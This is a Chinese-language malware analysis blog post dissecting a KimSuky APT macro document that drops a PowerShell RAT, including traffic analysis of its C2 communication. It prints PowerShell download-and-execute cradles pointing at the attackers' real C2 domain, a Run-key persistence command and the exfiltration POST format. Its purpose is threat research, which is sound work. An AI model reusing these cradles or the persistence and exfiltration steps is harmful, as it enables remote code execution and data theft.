一次KimSuky攻击事件分析

  • A+
所属分类:安全文章

一次KimSuky攻击事件分析

0x00 背景

近日,发现了一起韩国APT组织KimSuky的攻击事件,对整个事件进行完整分析之后,觉得自己对样本分析和流量分析的认识又上了一层楼,在这里分享给大家,希望可以一起学习进步。


0x01 分析工具


Win7 64位

office2013

Wireshark


0x02 样本背景


样本MD5为07D0BE79BE38ECB8C7B1C80AB0BD8344,来源于免费沙箱app.any.run。

app.any.run是一个国际化的免费沙箱,有非常友好的界面,可以很好地跑出大部分恶意样本的行为、网络请求等信息。并且它可以免费下载样本,目前是我分析样本的主要来源。

app.any.run的Public submissions会显示每天捕获到的新样本,然后用户可以点击到对应的样本中查看沙箱报告以及下载样本。

在某天我看到了如下的样本:


一次KimSuky攻击事件分析


app.any.run提示这是一个office宏的恶意文件,考虑到近年来,非PE的恶意文件已经越来越流行。故尝试将这个样本下载回来进行分析。


0x03 样本分析


首先,通过virustotal获取样本的一些基本信息。

通过virustotal可以得知,样本原始名称:

  • 붙임. 전문가 칼럼 원고 작성 양식.doc

首先,通过virustotal获取样本的一些基本信息。

通过virustotal可以得知,样本原始名称:

  • 붙임. 전문가 칼럼 원고 작성 양식.doc

创建时间和上传VT时间如下:


一次KimSuky攻击事件分析


根据文件投放名称, 可以初步判断该样本是用于攻击朝鲜/韩国的恶意样本光从文件名上暂时无法确定攻击目标。

打开样本,样本伪装为微软官方,提示用户启用宏以查看内容


一次KimSuky攻击事件分析


启用宏之后,文档内容更改为如下所示:


一次KimSuky攻击事件分析


翻译之后如下:

《专家评论》稿件制作样式

▶人文名调11pt,行距160%,2张以内分量

开城工业园区专家评论..。

原始文件是office宏代码的恶意样本,准备对宏代码调试的时候发现代码被加密了:


一次KimSuky攻击事件分析


通过工具破解宏密码之后看到宏代码如下,主要功能是在c:windowstemp路径下释放一个bobo.txt文件,然后将一行powershell命令写入到该文件中,再调用执行。


一次KimSuky攻击事件分析


这里由于分析到是powershell.exe指令指令,于是重新打开样本,并通过火绒剑检测powershell.exe的行为


一次KimSuky攻击事件分析


这里可以看到,是读取'c:windowstempbobo.txt'的内容然后通过iex执行

bobo.txt内容如下

IEX(New-Object System.Net.WebClient).DownloadString('http://mybobo.mygamesonline.org/flower01/flower01.ps1')


一次KimSuky攻击事件分析


该段代码的主要功能是从http[:]//mybobo.mygamesonline.org/flower01/flower01.ps1下载一个新的powershell脚本。

而该域名已经被打上了KimSuky的标签


一次KimSuky攻击事件分析


但是经过分析,该地址目前已经不返回数据了


一次KimSuky攻击事件分析


思路1 通过vt查找


这个时候我们接着回到VT,可以看到如下的内容:


一次KimSuky攻击事件分析


跟过来之后发现有成功请求之后保留的文件


一次KimSuky攻击事件分析


顺着这个文件hash,就可以找到目标powershell脚本了


一次KimSuky攻击事件分析


如果有vt下载权限,即可通过该hash将powershell脚本下载回来。


思路2 通过app.any.run的流量包


我们回到app.any.run的页面,可以发现在沙箱中,样本是正常与服务器通信,并且保留了流量的,我们直接把数据包下载到本地进行分析和提取。


一次KimSuky攻击事件分析


可以看到,样本首先是通过三次握手与服务器建立了建立,紧接着就通过get请求的方式访问了下载页面

而后面服务器返回的数据,应该就是flower01.ps的内容了


一次KimSuky攻击事件分析


根据数据包大小可以得知,返回的内容从第二个数据包开始:


一次KimSuky攻击事件分析


由于是明文传输,直接复制为纯文本就可以


一次KimSuky攻击事件分析


将几个数据包的内容复制到编辑器中,脚本就从流量中提出来了


一次KimSuky攻击事件分析


流量分析


既然已经打开了流量包,就多分析一点

接着往后看,可以看到本地主机还对C2发送了POS数据包,且看后面包的大小,基本可以判定是在窃密了。

而这一段流量应该是刚才下载回来的ps脚本发起的,所以不出意外的话,本次攻击的最终载荷就是这个ps脚本了。(毕竟也够长)


一次KimSuky攻击事件分析


这里post请求的内容是:

POST /flower01/post.php HTTP/1.1..
Content-Type: multipart/form-data;
boundary=----WebKitFormBoundarywhpFxMBe19cSjFnG..
Host: mybobo.mygamesonline.org..
Content-Length: 10694..
Expect: 100-continue....

其中有几个关键信息

boundary=----WebKitFormBoundarywhpFxMBe19cSjFnG..

我们可以通过搜索引擎检索WebKitFormBoundarywhpFxMBe19cSjFnG会得到如下的结果


一次KimSuky攻击事件分析


通过搜索引擎反馈的结果我们可以知道,该串字符不是首次出现,早在18年在针对韩国冬奥会的攻击中就已经出现过而且也被爆与KimSuky有关联。

post请求成功之后,服务器会返回Continue

接着客户端会尝试以1260字节大小为数据包,向服务器发送加密数据


一次KimSuky攻击事件分析


之后再次请求


一次KimSuky攻击事件分析


RT6>RTJE^@dR+RUP_?"P------WebKitFormBoundarywhpFxMBe19cSjFnG Content-Disposition: form-data; name="MAX_FILE_SIZE" 10000000 ------WebKitFormBoundarywhpFxMBe19cSjFnG Content-Disposition: form-data; name="userfile"; filename="flower01" Content-Type: application/octet-stream ending ------WebKitFormBoundarywhpFxMBe19cSjFnG

flower01.ps1分析

虽然从搜索引擎来看,基本可以确定本次所使用的powershell应该是PowerShell Empire框架生成的远控,但并不复杂,也可以详细分析一下


一次KimSuky攻击事件分析


脚本首先定义了一些全局变量

根据定义的这些全局变量可以看出来

后续的通信地址应该是:"http://mybobo.mygamesonline.org/flower01/"

用于接收上传信息的文件:"post.php"

上传的用户名:"flower01"

上传的ID:"flower01"

保存的log文件名:$LOG_FILENAME = "flower01.hwp"

保存的log文件路径:$LOG_FILEPATH = "flower01"

休眠时间:$TIME_VALUE = 1000*60*60

应该是调用执行脚本:$EXE = "rundll32.exe"

调用func:$MyfuncName = "Run"

写入的注册表键值:$RegValueName = "Alzipupdate"

写入的是开机自启动的键:$RegKey = "HKCU:SOFTWAREMicrosoftWindowsCurrentVersionRun"

最后这个应该是计划任务:$regValue = "cmd.exe /c powershell.exe -windowstylehiddenIEX(New-Object System.Net.WebClient).DownloadString('http://mybobo.mygamesonline.org/flower01/flower01.ps1')"


一次KimSuky攻击事件分析


接着,脚本定义了一些方法,分别是:

function decode($encstr)

function UpLoadFunc($logpath)

function FileUploading($upPathName)

function Download

function Get_info($logpath)

function main

从方法名,基本可以确定这是一个powershell远控,可以收集信息、文件上传、文件下载、样本持久化等功能。

在main函数下断点,可以看到样本首先定义后后面log文件的路径,然后会判断是否有对应的注册表键值,即判定是否已经设置为开机自启动了。


一次KimSuky攻击事件分析


如果返回False则会通过修改HKCU:SOFTWAREMicrosoftWindowsCurrentVersionRun的方式将自己加入到开机自启动。

并且调用Get_info函数,参数是szLogPath,也就是C:UsersShytAppDataRoamingflower01flower01.hwp

所以这里的flower01.hwp是用于保存Get_info函数收集到的信息

在Get_info中,会写入几个目录信息然后将systeminfo以及当前的进程全部写入到flower01.hwp


一次KimSuky攻击事件分析


如果返回True,则会进入一个永真循环,循环调用FileUploading和Download函数,并在调用完成之后进行一段时间的休眠


一次KimSuky攻击事件分析


第一次调用FileUploading的时候会判断是否存在路径FileUploading,也就是C:UsersxxxAppDataRoamingflower01flower01.hwp

如果存在则调用后面的UploadFunc,如果不存在则直接返回


一次KimSuky攻击事件分析


如果存在flower01.hwp则说明信息采集成功,则调用UploadFunc准备上传

在UploadFunc方法中,会读取flower01.hwp的hex数据,然后通过decode进行加密再上传到服务器


一次KimSuky攻击事件分析


加密算法是自定义的变异凯撒加密,即ascii替换的方式


一次KimSuky攻击事件分析


调用完成之后会调用Download函数:


一次KimSuky攻击事件分析


函数会尝试从http://mybobo.mygamesonline.org/flower01/flower01.down获取数据并传入到decode函数进行解码


一次KimSuky攻击事件分析


如果下载失败,则会尝试访问http://mybobo.mygamesonline.org/flower01/del.php?filename=flower01获取返回值


一次KimSuky攻击事件分析


因为不想用干净的网络访问C2,所以我还是尝试通过app.any.run的在线沙箱跑一下这个powershell样本。

虽然成功跑起来了,但是看到了一些报错信息


一次KimSuky攻击事件分析


于是把对应的报错信息、slepp都删除了,重新上传。

发现服务器mybobo.mygamesonline.org已经挂了,没有后续的数据了。


一次KimSuky攻击事件分析


0x04 总结


至此,样本的分析已经完成,在本次恶意样本分析中,我们可以发现,通常情况下,攻击者特别是定向攻击者,会在实施攻击后的不久就将攻击所使用的服务器给下架。如果没有捕获到具体的攻击样本或是没有全流量记录的设备。可能会在被攻击者窃取机密数据的情况下还截然不知。


一次KimSuky攻击事件分析

本文始发于微信公众号(疯猫网络):一次KimSuky攻击事件分析

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: